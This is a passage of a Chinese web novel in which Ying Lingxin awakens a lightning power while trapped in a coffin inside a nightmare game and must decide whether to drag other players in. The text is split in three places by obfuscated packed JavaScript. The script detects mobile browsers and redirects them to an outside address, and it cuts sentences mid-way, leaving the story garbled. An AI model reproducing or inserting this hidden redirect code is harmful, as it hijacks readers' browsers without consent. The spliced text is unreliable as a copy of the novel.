下一瞬间,深紫色的雷电从她的指尖迸发,伴随着噼里啪啦的爆裂声,在瞬息间遍布整个房间。 舞动的雷蛇嘶吼着,交错着盘结在眼前,结下密密麻麻的雷网。 应凌心感受着指尖的酥麻,和终于找到出口的决堤的精神力。 “你的出现有点出乎我意料。” 她生疏地控制着异能,想要把雷电的范围聚拢。 “为什么副本会觉得我会被这事儿困住?” 她的后脑因为失去了先前屏障而隐隐胀痛,“它只会提醒我这不是现在应该发生的事。” 应凌心将手微微下压,汹涌的精神力倾泻而出,女人的身躯在雷电的冲击下变得焦黑,失去支撑,跌倒在地上。 顶着母亲面容的躯壳倒在自己面前,她的心中是压不下的烦躁和癫狂。 下一瞬间,散布在房间每一个角落的雷网躁动起来,她的精神力被传输到每一处。 她的感官被延伸,触碰到了能看见的看不见的每一个角落。 这是她的异能带给她的力量,她的力量。 应凌心感觉自己的嘴角微微勾了起来,她虚握了握手指。 “哈...” 她长舒了口气,低低地笑了一下。 “哈哈...” “哈!哈哈哈哈——” “哈哈哈哈哈...咳咳...哈哈哈哈!” 终于,应凌心忍不住大笑起来,笑得上气不接下气。 她无数遍地在脑海中推演,提心吊胆地进到副本,把自己的命摆到牌桌的筹码堆里。 她像一个虫子一样被副本摆弄着,像一只羸弱的兔子不断被周围环境刺激恐吓着,像一只被打断腿的败犬在别人面前狼狈地爬着。 她被人掐着脖子,被啃咬着腿当作猎物向后拽,被窥探着记忆玩弄。 她做的一切,冒的一切险,受的一切伤,就在不久前,她还以为这一切都白费了。 但没有。 应凌心肆意地摆弄着高压的电流,仿佛它们生来就应该被自己掌控。 她大笑着,刻意地放出声,仿佛要宣泄出自进入空间以来堆积的所有郁结。 她是对的。 越来越快的心跳声与四处跳动的雷电呼应着,一下又一下,搅动着暴动中略显癫狂的精神力。 哪怕自己可能会在下一刻死去,应凌心也觉得眼下这一刻是畅快的。 她赌对了。 她闭上双眼,电流延伸了她的感知,散布在整个空间。 下一秒,梦境中的空间被雷电撕咬成一个个碎片,骤然坍塌。 应凌心醒了过来。 ...... . 突然醒来的那一瞬间,应凌心以为自己还在梦里。 她眨了眨眼,眼前一片漆黑。 冰冷生硬的触感从身下传来,她下意识想要坐起身来。 “砰——!” 同样坚硬冰冷的东西挡在了上面,她没反应过来,头直直地撞了上去,震得颅骨嗡嗡作响。 同样被撞击的还有上方的挡板,连着她身下的板子在一同振动着。 应凌心向两侧伸了伸手,同样受到了阻碍。 她蹬了蹬腿,又摸向她的头顶——她的四周都被坚硬的板子隔断开来。 应凌心在梦境前最后一段记忆是自己掀开了木盖。 看来她八成是被装进那个长得像棺材一样的木盒里了。 她动了动手指,一股微弱的电流涌出,俏皮地跳动着。 至少异能确实是觉醒了。 应凌心回忆了一下自己在梦里觉醒异能的那一瞬间,异能的信息被塞入大脑: 【异能:雷电】 【介绍:略】 除了名字没有任何信息。 为什么连个简介都没有,是因为她的异能太普通了吗? 应凌心想了想,确实有可能。不像商予盈那样的异能,需要介绍一下,省去最开始摸索的麻烦。 就算是这样,她的异能也不是完全清晰的啊。 应凌心想了想,她能电离她自己再拼回来吗?这样她应该就能流出去了。 她闭眼尝试着想让电流把自己的身体解构,指尖生出的电流不安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099152|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地躁动着,不肯钻回她的躯体中。 好吧,可能她被熔化等于她被弄死...不会这个异能还遵循化学定律吧? 她都不学化学多少年了,能不能觉醒个对文盲友好一点的异能啊?! 应凌心没办法,又释放出了一小缕雷电,在密闭的空间内跳动着,散发出暗紫色的微光。 她勉强看清自己的处境,如她所料,她被关在了木盒里,在昏暗中看不到出口。 主要是木头也不导电,她怕是要用高压直接击穿。 ...她应该是不怕电的吧? 应凌心把电流击向自己的左手,电流温顺地没入她的手掌,悄无声息地流回她的脑海中。 很好,上伏特。 她正要蓄力加大电压,一连串的提示音在耳边响起。 紧接着是系统的提示声:【副本规则更新】 眼前浮现一串暗红色的文字, 【一、请尽快逃离噩梦空间】 【二、作为噩梦空间的客人,你可以通过邀请新的客人从而离开】 【三、每个节点,你可以选择邀请或不邀请指定玩家】 【四、在副本结束前,你只有一次邀请机会】 【五、作为一个友善热情的邀请者,你需要从身后拥抱被邀请者】 【六、】 应凌心眯了眯眼睛,第六条规则没有显示出来,也许这就是许束言之前说的需要触发的规则。 被刻意隐藏,也许是一条关键线索。 但现在也看不到它,只能根据现有的规则想下一步该怎么办。 她目前对规则的理解是,她需要尽快逃出去,但逃出去的办法是拉一个别的玩家垫背。 应凌心皱了皱眉,先不说这么做的道德困境,就算她真的为了出去拉人垫背了...被拉进去的玩家照样能再重新把她拉进来。 而且,根据第四条规则,她只能拉一次。 如果她急哄哄地找玩家垫背,再被人拉进来,她就只能在棺材里躺着等死了。 这样看来最开始被拉进来的玩家必死无疑啊。 应凌心在心里默默流泪,终究是她太菜了。 系统的声音又一次响起:【请玩家应凌心作出选择。】 什么选择? 眼前浮现半分钟的倒计时。 【可选择玩家:商予盈、张尚】 噢,得选要不要拉人。 应凌心有些头疼。 还没等她好好盘算一下,就发现倒计时只剩15秒...她发现这鬼系统是真喜欢倒计时。 “我选择不邀请。” 在不明情况前不应该贸然用掉唯一的机会,规则里既然说“每个节点”,想来不只这一次选择的机会。 【玩家应凌心已完成选择,请玩家许束言开始选择】 . ------------------------------------------------------ 你站在教室的门口。 刚才最后一节课是物理课。 放学了,同学们成群结伴地往外走。 你随着人流走到校门口,不知道为什么,周围没有什么人。 也没有什么建筑。 你站在一个空荡的平台上,这不是学校门口。 一滴水滴在你的鼻尖。 下雨了吗? 你抬头,看到大大小小的疙瘩下五只浅绿色的眼睛——哦不对,是五只半。 应凌心下意识后退了半步。 她仰着头,感觉自己的小腿在隐隐幻痛。 啊,又是梦。 12. 做个好梦(七) 意识到自己在梦里,看着眼前熟悉的怪物,应凌心觉得牙有点痒。 又是这个丑陋的鳄鱼怪,密密麻麻的尖牙跟她记忆中的样子一模一样。 只是这回她不一样了。 应凌心的精神力涌向右手指尖,阵阵雷电争先恐后地迸发出来,被操控着袭向眼前的怪物。 起初,她费劲地瞄准,但雷电在怪物的躲闪下擦过它粗糙的皮肤,除了引起它恼怒的吼叫外,没有什么大伤害。 几次尝试过后,一人一怪物僵持着。她想了想,只放出一缕电流。 应凌心把所有注意力都系在这一缕电流上,流窜着的电流跳动着回应着她,像是听懂了她的呼唤。 怪物嘶吼着,张着扁长的血盆大口,想又一次咬向她。 一缕微弱得无形的电流,被她轻飘飘地扔向怪物,准确无误地落在它额头正中间的眼睛上。 下一瞬间,她加大电压,精神力被她肆意倾泻着,暗紫色的雷电沿着先前电流锁定的方位尖啸着击去,在顷刻间撕碎了目标。 暗绿色的液体喷涌而出,半个脑袋焦黑的怪物嚎叫着,疯狂地甩着它的头,跌跌撞撞地失去平衡,轰然倒在了她眼前。 这下学会瞄准了。 应凌心的手微微发麻,之前差点让她丢掉性命的怪物,就这样被她杀死了。 她呆呆地看了片刻,然后俯下身子,右手摸向平台的地面。 光滑的地面在手下微微发冷,应凌心调用起剩余的精神力,雷网以她为中心向四周迅速蔓延。 暗紫色的光铺满她的眼底。 . “砰——!” 又一次,应凌心醒了过来。 她又一次下意识地坐起身,又一次直直地撞在了盖在上面的木板上。 疼痛让她从梦境中清醒过来,后脑一跳一跳地在胀痛着。 可能这是异能使用过度的下场。 应凌心刚觉醒异能,没有时间摸索它的限制和衍生作用,同样的,也没有摸清楚自己的“蓝条”长度。 但她没有小说中“精神力即将耗尽”的感觉,也许是因为她现在对自己的精神力还是太陌生了。 不能估计自己剩余多少蓝条,这听着感觉更危险了。 看来暴力破棺的计划得先缓一缓——她怕再忽然冒出来个什么怪的时候她直接哑火了。 她故技重施,一小缕蓝紫色的雷电从指尖蹿出。 借着微弱的光,应凌心确认自己又回到了之前的木棺中——她已经接受自己被关进棺材里的事实了。 她被迫平躺在木板上,眼珠随着雷蛇的游走转动着,试图找到面前囚笼的什么弱点。 眼眶都看酸了,她也没找到什么金属制的合页或者螺丝钉。 木盒就像她之前从外面看到的那样,被单纯用木头严丝合缝地拼接着。 等下。 应凌心平稳地呼吸着,随着回忆皱了皱眉。 木盒侧面应该是有呼吸口的。 她收回了电流,眼前恢复一片漆黑。 她茫然地眨了眨眼,逐渐适应了黑暗,却没有捕捉到任何微弱的光。 奇怪。 小孔应该透光的啊。 她别扭地转动胳膊,肩胛骨被木板挤压着,指尖摸向印象中的方位。 冷腻的触感在她手下滑过,被抛光的木板挽留着她的指尖,别扭地向后挤压着指面的肉。 应凌心的手指停在她肩头的斜下方,再往上一点就要把肩肘换个姿势去摸了。 几个小到几乎会让人忽略的圆孔,如果不是她预先猜测着去慢慢摩挲,只怕是要被她直接略过。 她左手中指指尖停留在其中一个圆孔上,指面接触着外面的空气。 一股寒意顺着指尖侵入她的手臂,涌向她的脊背。 应凌心赶忙收回了手,冰冷的余韵缠绕在她的脖颈上,挥之不去。 她记得这种感觉。 应凌心不受控制地绷紧自己的脊背,试图让自己的脊椎逃窜到身体内部,而不是暴露在寒冷处。 非常熟悉的一种感觉。 她下意识想蜷起身子,膝盖狠狠地撞在挡板上,震得四周紧贴着她的木板嗡嗡作响,连带着她的心跳跟着漏了一拍。 是黑雾。 飞速缠上她的寒意在她脑海中尖啸着拉响警报。 是先前环绕在平台外、孕育着无数未知的危险的黑雾。 她忍不住想要施展异能,仿佛只有自己新获得的能力能给自己带来几分微薄的安全感。 那个她出于求生本能想要远离的黑雾,眼下笼罩在木棺外。 而她甚至不敢再释放出一点电流,生怕一不小心把自己的囚笼劈裂一条缝。 除了这点连手都无法伸开的空间,她现在哪里都不能去。 她被彻底困在了这里。 系统的提示音在她越来越快的心跳声中响起—— 【请玩家应凌心作出选择。】 【可选择玩家:商予盈、张尚】 鲜红色的倒计时又一次在眼前浮现。 . 应凌心这才想起来,上一次进入梦境前,她在做选择题。 可选择的玩家没有变,看来许束言也没选择拉新玩家。 应凌心想了想,如果她选择拉别的玩家,许束言很可能会紧随其后把她又重新拉下来——毕竟她没有第二次拉人的机会了。 虽然新被拉下来的玩家也可以拉人,但无论如何,已经失去拉人机会的她是被重新拉下来的最佳人选。 额,应凌心躺在木板上注视着倒计时,她怎么好像又要死了? 这样的情况好像有些无解。 应凌心的目光在眼前的选项上流转,定格在商予盈的名字上。 商予盈本来没有进这个副本的打算,是因为她才来的。 哪怕她很可能真要挂了,她也得确保商予盈能活下来。 如果她把张尚拉下来,张尚出于被出卖的愤怒应该会重新把她拉下来。 或者许束言抢先把她拉下来。 但不管怎么样,到时候即使再有人把商予盈拉下来,商予盈也有一次拉别人的机会,不至于被困在这里。 倒计时还剩11秒。 ...如果许束言选择拉商予盈呢? 那也可以,这样留在外面的许束言和她都是已经拉过人的。 只要她拉张尚下来,商予盈就一定能活。 倒计时还剩7秒。 但张尚呢? 张尚会被她害死吗? 那...她呢?她自己呢? 【请玩家作出选择。】 还剩5秒。 应凌心张了张嘴。 【玩家应凌心已完成选择,请玩家许束言开始选择】 . ------------------------------------------------------ 商予盈在摆脱了从床里伸出来的那双手后,发现自己的队友一夜之间少了两个。 她和张尚对视了一眼,两人都在对方眼中看到了意外。 应凌心被拉下去也就算了——虽然她是自己的朋友,但没觉醒异能是事实,商予盈想不出没有异能怎么挣脱方才的危机。 另一位...那个看着胸有成竹的老玩家怎么也被拉下去了? 天色逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099153|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变亮,她看了眼房间里的表,8点了。 奇怪,时间过得这么快吗?她感觉自己好像也没怎么睡着。 商予盈试探着下了床,戒备了半天也没什么事情发生,去和同样下了床的张尚交流情报。 “我比你早一点触发了情节,在听到那个钟声之前我什么都没听到。” 张尚说,“等我摆脱了那双手后,就感觉那种过分安静的氛围消失了。钟声又响了一次,我听到应凌心在的那个方向有挣扎的声音。” “我想下去帮忙,但被禁锢着动不了。” “紧接着又听到一次钟声,就轮到你触发情节了。” 商予盈点了点头,看来应凌心确实是被副本拉到了枕头下的神秘空间。 没办法,只能再找找线索了。 她环视了一圈房间,两人的床铺前的捕梦网也连带着一同消失了。 她凑上前,墙上只有一颗钉子,孤零零地伫立在床头上方。 枕头旁落着一张被折成心形的纸条,生怕别人看不到。 商予盈犹豫了一下,拆开纸条,上面是小朋友歪歪扭扭的字迹: 【妈妈说,不要怕噩梦,12点要乖乖睡午觉。】 看来不只是夜晚有危险了。 张尚在另一张床上也找到了一张纸条,同样稚嫩的字迹提示着: 【姐姐说,遇到噩梦不要怕,消灭它就好。】 两个人一头雾水,又翻找了一阵,也没找到什么新的线索。 “我好像...不太饿?” 商予盈本来还担心她们被关在屋子里应该吃什么,没想到这都过了快一天了,她也不觉得渴或饿。 “一般的副本是不会需要你吃喝拉撒的。” 张尚耸耸肩,解释道,“除非你的生理需求被副本设置为情节的一部分,否则你感受不到饿或者渴。” “就像修仙小说辟谷了一样,挺神奇的,也挺方便。” 商予盈点点头,确实挺神奇。连生存需求都能控制,她们真是系统刀下的鱼肉啊。 时针逐渐指向12点,她们商讨了一下,还是决定服从纸条的要求,躺到了床上。 只是纸条的其它含义到现在也不明确,商予盈躺在床上思考,是指她会做噩梦吗? . 她并没有做噩梦。 甚至什么事都没发生。 钟声又一次敲响,她坐起来——两点了。 她很确定自己没睡着,也很确定自己躺下的这点时间远远不足两个小时。 张尚告诉她,可能是事件触发时的时间流速产生了变化——尽管她刚才躺在床上也没遇到任何事。 两个人又围着房间转了一圈,没有什么新收获。 唯一能确定的是时间流速确实有些问题,没过多久,就又到晚上了。 商予盈觉得她们十分被动。 线索像是触发了什么规则才凭空出现的。 她看着房间内空下来的两张床,眨了眨眼,难道需要把别的玩家推进空间? 贸然攻击老玩家肯定是不明智的,商予盈看了眼刚爬上对面床的张尚,但她需要额外戒备——保不齐什么时候就被笑里藏刀的老玩家为了线索祭天了。 十点的钟声响起,商予盈躺在床上,闭眼去探查枕头下的空间。她中午的时候也尝试过,没有任何收获。 她猜测先前诡异的空间在晚上才会开启。 她感受着空间的丝线,连接着她的意识,慢慢向外扩散。 系统说得是对的,情节副本确实可以提高精神力——短短一天,她感知空间线的范围已经提升了一大截。 商予盈闭上眼睛,开始想,晚上会发生什么呢? 13. 做个好梦(八) 商予盈像是被下了安眠药,竟真的睡了过去。 但出乎她意料的是,又什么也没发生。 没有突发的危险,没有诡异的噩梦,她甚至没做梦。 就这样一觉睡到天亮。 这已经是副本第三天了。 她有些疑惑,就算是“友好”的新人副本,也不应该就这样风平浪静地结束吧? 更重要的是,她一直没有再听到有关应凌心的消息,不知道她去了哪里,甚至不知道她是不是还活着。 商予盈看向另外两张空荡的床铺,愣了一下。 枕头旁边赫然压着一枚匕首。 下面垫着一张纸条,这次没有被折起来: 【姐姐说,噩梦也有心脏,把心脏刺破了,噩梦也就没了。】 她缓缓拿起匕首,手柄是木质的,上面歪歪扭扭地刻着不同的花纹,有云纹、有花卉,还有一大群简笔画的小猫小狗,不成体系地挤在上面。 “你也拿到了?” 商予盈转头,看到张尚握着一副同样的匕首,念着她找到的纸条: 【总有噩梦来找我,妈妈让我不要怕。她教我,把刀插进枕头里就好了。】 . ------------------------------------------------------ 应凌心又在做梦。 但她庆幸这只是场梦。 当她意识到自己在做梦时,她正被二十来只鳄鱼怪包围着。一百多只眼睛盯着她,二十多张大嘴争先恐后地朝她啃咬。 ...这要是现实她早就没命了。 不知道梦里被咬死了会不会真的死去。 她马上就要知道答案了。 应凌心在打倒第七只鳄鱼怪时,她的左臂已经被啃得不成样子了。 左手手掌被一整个咬下,露出白森森的骨节。 吃掉她左手的怪物没落得什么好下场——应凌心在手被咬住时,龇牙咧嘴地用右手按住鳄鱼怪的嘴。 暴戾的雷电击穿怪物的嘴,连带着她的左手,被一同劈成了碳灰。 看来她的手被咬下来之后就不再免疫雷电了。 应凌心疼得阵阵发晕,但要不说是在做梦呢,失了这么多血她都没真的晕过去。 她踩在满地的泥泞上,脚踩着她自己的血,和怪物体内深绿色的粘液。 她的后脑持续地胀痛着,但在她被啃咬的手臂和小腿的剧烈疼痛下显得微不足道。 甚至肩膀上汩汩流出的血液,都在麻痹她每一次抬手时带来的剧痛。 直到她拼尽全力击穿了第七只怪物,再一次抬手,只有微弱的电流,从她的指尖被挤出。 应凌心愣了一下,试图再次调转自己的精神力。 但正如她曾经害怕过的那样,她的精神力耗尽了。 眼前还有多少只怪物?14只?15只? 她还有多少精神力? 应凌心不知道是她精神力耗尽,还是因为伤得太重没办法调动异能。 但就像最开始被团团包围时她跑不掉,现在她也躲闪不及怪物们的围攻。 有怪物咬上了她的左腿,一甩头,她整个人被摔在了地上。 一只怪物低下头,牙齿刺进她的右臂,坏脾气地磨了磨。 她甚至没有尖叫的力气。 应凌心想撑起身子向前爬,又一只怪物咬向了她的右腿,紧接着,松开,向上挪了几公分,又一次咬下去。 原本在她脑内疯狂哭嚎着喊痛的声音也逐渐没了动静。 没有什么信息量的嗡鸣声覆盖了她的大脑。 又一只怪物,或者两只,或者很多只,她已经分不清了,咬穿了她的躯干。 她费劲地呼吸着,随着血液流逝而越来越重的缺氧感终于堵住了她的咽喉。 意识逐渐模糊,应凌心甚至松了一口气。 好疼。 原来被分食是这样的感觉啊。 真的好疼。 好疼好疼好疼好疼好疼。 应凌心迟钝地想,她还会再醒来吗? 她的思维缓缓停留在了最后一缕念头上——对不起商鞅,我再也不开你的地狱笑话了。 ...... . 应凌心从剧烈的疼痛中惊醒,她躺在木板上,感觉自己肋骨的剧烈起伏,她大口地喘着气。 之前梦境中真实的疼痛感还在一闪一闪地折磨着她的大脑,应凌心瞪着眼睛,在黑暗中感受着自己的存活。 先前在倒计时快结束时,应凌心作出了选择。 她差点就要选择把张尚拉下来了,在最后一刻,她隐隐感觉有些不对。 倒计时还剩5秒,她的大脑飞速转动着。 进入副本前,她认为副本大概率是死去一人,因为系统显示的存活率是80%。 眼下不管怎么选,都会有两个人留在这里。 存活率最高是100%,死两个人就变50%了。 死两个人的可能性大吗? “不邀请。” 最后两秒,她飞快地说出选择。 来不及细算具体的概率,凭着她的感觉,应凌心选择又一次进入梦境。 只是她没想到这次的梦这么凶险。 她无力地躺在庇护着她的囚笼中,开始重新先前被打断的思考。 80%的存活率,如果说有10%的概率一半人死亡,就算最多死去两个人,为了达到这样的存活率,需要30%的全员存活来平衡。 就算是新人副本,全员存活率这么高的可能性大吗? 应凌心不知道。 但话又说回来,规则只是让她尽快逃离噩梦空间——她默认她现在就是在噩梦空间里了。 逃不出去就一定会死吗? 应凌心想起来,之前副本的规则还有一条没被更新。 还不能下定论。 也许是检测到了她的思绪,系统又一次发出提示:【副本规则更新】 暗红色的字又一次浮现,只是这次变长了一大半 【一、请尽快逃离噩梦空间】 ... 【五、作为一个友善热情的邀请者,你需要从身后拥抱被邀请者】 【六、被邀请者有权拒绝邀请,有时,拒绝不一定委婉】 【七、邀请者在邀请完之后,可以选择不离开,继续逗留】 【八、噩梦是好客的。如果有客人在副本结束时处于死亡状态,它会留下她; 否则,在副本结束后,它会随机挑选一位客人永远留下】 【九、噩梦中死亡即为真实死亡;噩梦空间中死亡后10秒,会在原地复活;在邀请她人时死亡则无法复活】 【十、】 一口气更新了四条规则,还留了一个新的尾巴。 应凌心叹气,就不能不搞信息差吗? 新更新的规则让她庆幸自己之前没有轻举妄动,这个副本实际上的机制跟她想象中的相去甚远。 首先,在这个空间内死亡可以复活,这个她已经经历过了。 她原本以为她重新醒过来是因为噩梦中的死亡不算死亡,现在再看规则,她实际上已经死了,只不过又被复活了而已。 唯一的区别是10秒的时间差。 应凌心的目光定格在规则第八条。 首先,想要提升自己的存活率,最该做的是把所有人都拉下来。这样自己死亡的概率就会从一半降到四分之一。 如果再进一步,应该卡着副本结束前的10秒杀掉一名玩家,这样剩下的人都能安然离开了。 所以大多数75%的存活率是这么来的。 那其余两成全员存活的情况呢?是因为所有人都没被拉进来吗? 应凌心在想,被隐藏的第十条规则会不会又来个反转。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099154|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但眼下最重要的是...鲜红的倒计时又一次出现在眼前:【请玩家应凌心作出选择。】 【可选择玩家:商予盈、张尚】 她应不应该把安全的人拉入这个随机转盘里? 这是应凌心第三次面对选择。 副本一共三天时间,除去把她拉下来的第一天,还剩两个晚上。 说明不是一天一个节点。 先不说她被连续的梦折腾得不知道过了多久,应凌心回忆了一下自己问答副本时差点踩的坑,不太相信副本时间流速会一成不变。 如果每天抵达节点的时间是一样的,总共是偶数个节点。 有第四个节点的可能性稍微大一点。 虽然这个假设算不上有多合理,比如可能她被拉下来的第一天也可能是第一个节点。 但重要的是...应凌心重新回忆了一下规则,邀请看起来可不像她之前认为的那样安全。 甚至不能复活。 选或不选,都是冒险。 她应该冒哪个险? . ------------------------------------------------------ 中午12点,商予盈又躺到了床上。 匕首放在枕边,她今天练习了一上午,能够闭着眼靠拨动周围的空间线去凭空操纵匕首了。 张尚看到时大呼神奇,此时也攥着匕首,在床上躺下。 这是第三天了。 商予盈闭上眼,感受着脑后交织着的空间线,忽然想到,也许这个副本的一大难点是被剥夺视力后的恐惧。 只是她靠着自己异能的感知,稍微聚拢了一些安全感。 这么看来,异能,或者说外放的精神力,在一定熟练度之后应该可以算作第六种感官。 五感会被欺骗,那么异能呢? 商予盈闭着眼,四周寂静得没有任何声响,她认为这也是副本在剥夺她的听觉。 异能会被欺骗吗? 空间线静静地伫立着,在她的观测下没有任何波动。 直到又一次钟声响起,商予盈睁开了眼。 又是什么事也没发生。 她坐起身,愣了愣。 并不是无事发生。 对面的床空空如也。 商予盈站在房间中间,环顾四周。 房间里只剩她一个人,孤单地站立着。 ...... . 商予盈不安地皱了皱眉,开始重新检查房间。 张尚的床位上摆着之前找到的匕首,旁边是一张被折成心形的纸条。 小朋友的字迹映入眼帘:【妈妈说,团结就是力量】 不明觉厉。 许束言的床上也压着一张纸条,同样的字迹写着:【妈妈说,要放走比我不幸的人】 不明觉厉。 她扭头,又走到了应凌心的床位前。 白色的纸条像雪花般散落在床上。 一张、两张、三张...十七张。 她随便捡起了一张,依旧是小孩,歪歪扭扭地写着:【妈妈说,我的灵魂每次都落在第一次的消亡上】 依旧不明觉厉...都“妈妈说”了能不能别当谜语人? 她又拾起一张,同样的字迹,凶巴巴地写着:【消灭它!】 看得出写的时候用了很大的力气,纸条的背面因为这几个字凹凸不平。 第三张:【消灭它!】 第四张:【消灭它!】 【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】【消灭它!】 之后的每一张纸条,笔触有着轻微的不同,但都是同一个人的字迹,稚嫩却狠戾地写着: 【消灭它!】 14. 做个好梦(九) 应凌心在梦里死了十几次。 一开始她还数着这是她第几次死亡,到后面死的次数多了,也就麻木得记不清了。 兴许是她又一次拒绝邀请惹恼了空间,又或是她猜错了,真的只有三个节点,而她被永远地困在了这里。 总之,梦一环接一环地在做着。 她之前还以为被二十几只怪物围剿已经是最凶险的梦了,副本紧接着就让她见识到了十几种花式死法。 ...这么说也不准确。 毕竟每次的死法都没什么新意。 每次,她都被数不清数量的怪物包围着,逃也逃不出去。 在她挣扎着耗尽了精神力后,其余的怪物们又一拥而上,把她撕成碎片。 然后她猛然惊醒,又站在校门口,面对一大群杀不完的怪物。 ...这下好了,源自许束言的梦魇成她的心理阴影了。 怪物的数量实在是太多了,而且越来越多,仿佛梦境唯一的目的就是让她痛苦地死去。 完全没有反抗的余地,就算她绞尽脑汁地透支着精神力,也不过是多杀一两个怪物,让自己的敌人少个几十分之一。 但每次她都在拼劲全力地反抗着,不顾大脑在每一轮超负荷施展异能累积的剧烈疼痛,也硬撑着忽略身上每一块肌肉自上一次死亡残留的幻痛。 因为每次复活,原本被榨干的精神力又重新变得充盈。除了透支带来的后脑剧痛以外,一切复原如初。 而她每次透支完精神力,第二次恢复后仿佛又多了一点。 再或者,是她变得更熟练了,无论是对异能的操控程度,还是她战斗的技巧。 运气好的时候,她向外铺开的雷电网络甚至可以一口气斩杀四五只怪物。 要知道,在最开始,哪怕是一只这样的怪物也差点让她丢了命。 更重要的是,她现在学会了在全身的剧烈疼痛中留心后脑的疼痛程度——从而判断自己精神力的剩余。 再也不用担心异能毫无征兆地哑火了,而是预料之中地被迫耗尽。 尽管怪物永远杀不完,尽管她到最后每次都被分食,应凌心每次都在数自己击杀的怪物数量。 起初是八九个,十个,然后是十几个,慢慢变成二十个,二十多个。 有时状态不好反而会比上一轮退步几只,但整体来说,可以明显地感受到她的进步。 她拼命地厮杀着,在心里默默地数着——要是连这个锚点都没有,她只怕是要在无尽的疼痛中疯掉。 终于,在第十几次梦里,她已经望不到怪物群的尽头。 应凌心杀死第29只怪物时,她的左臂和右手已经被啃食得面目全非了。 后脑的疼痛又一次在警告着她精神力消耗殆尽。 一只怪物低下头想要结束这一轮的梦境。 她一闪身,滑过满地的血迹,右臂的白骨按在它侧面的半只眼睛上。 大脑嗡鸣着,飙升的颅压几乎要让她眼睛夺出眼眶,全身的神经悲惨地嚎叫着。 下一瞬间,一阵雷击顺着眼睛贯穿怪物的头颅,打在地面的血液上,引得周围几个淌着血的怪物烦躁地跺了跺脚。 怪物惨叫着倒下,和它一起倒下的是她自己。 她倾尽所有的力气,榨干了所有的精神力,给自己凑了个整。 应凌心再也站不住,被新一只怪物一掌拍倒,进行新一轮地啃咬。 好疼好疼好疼好疼好疼。 果然无论重来多少次,还是好疼。 应凌心发不出一点声音,她想着,要多大的电压,才能在击穿一个怪物后靠血液的传导再多干掉几只? 令人庆幸的是这个想法无从验证了。 应凌心再一次恢复意识时,眼前一片漆黑。 她回到了木棺中。 她终于醒过来了。 . ------------------------------------------------------ 许束言在第一个选择节点前的梦刚开始时,她就意识到了这是梦境。 当人对精神力的掌控到一定程度时,可以感知到低阶副本构造梦时产生的精神力波动。 她没有立刻打破眼前的空间,因为许久没有再见到的友人出现在了梦里。 “怎么样,看到了吗?” 女人发亮的眼睛明媚地朝她笑着,期待着她的反应。 “看到了。”许束言点点头,只是可惜你看不到了。 真像啊。 在梦里真真切切地看到对方,许束言才意识到,原来她一直没忘记女人的样子。 女人向她走近,发绳上绑的木牌随着走动一晃一晃。 许束言张了张嘴,没有说什么额外的话。 【灭】 她看着女人的身躯化成尘,被风吹散。 感伤该结束了。 许束言转了转脖子,看了眼头顶。 【破】 梦境应声破裂。 第二次进到梦里,一只怪物伫立在她面前,还没来得及进攻,四肢就被她定住了。 “我给你提个建议,”许束言轻声说道, “以后的梦就用它吧。” 怪物歪了歪头,目光中流露出几分懵懂的天真。 “之后几次,还是怪物的话,我自杀。” 许束言平静地说着,确保怪物理解了她的意思。 【灭】 这次不算。 第三次,又是一只怪物,站在她面前,没有进攻,只是看着她。 许束言点了点头。 【我会在下一秒死去】 她自杀了。 第四次,乌泱泱的怪物把她包围起来。 【我会在下一秒死去】 再一睁眼,她发现自己还在梦里。 咦? 【我洞察副本的一切】 哦,要杀满30只才能出去啊。 那就怨不得她不守承诺了。 许束言深吸一口气。 【灭】 梦里围困着她的100多只怪物,还没来得及发出什么声音,就化为了虚无。 她醒了过来,躺在木棺里,再一次等待着应凌心完成选择。 . ------------------------------------------------------ 应凌心花了很长时间,才从之前接连的噩梦中缓过神来。 上一次她依旧选择没有邀请,在两难抉择下,她通常会做出更保守的选择。 应凌心在读书时就意识到了自己的选择倾向。 她给自己的解释是,主动去做导致失败经历的后悔比什么都没做带来的后悔要强烈一点,因为她无法用“如果我当时一转念,狠狠心,真的做了呢”去安慰自己。 对她来说,自己主动去做意味着她已经想清楚了她可能需要承担的后果。 但眼下她想不清楚。 或者说,她无法接受后果。 最初,她接受不了自己必死无疑的结局,把希望寄托在可能出现转机的规则更新上。 所以她没有选择拉任何人,包括张尚。 后来,当拉人作为分析下的最优选时,她接受不了自己拉人时可能会死亡的未知的风险。 于是放 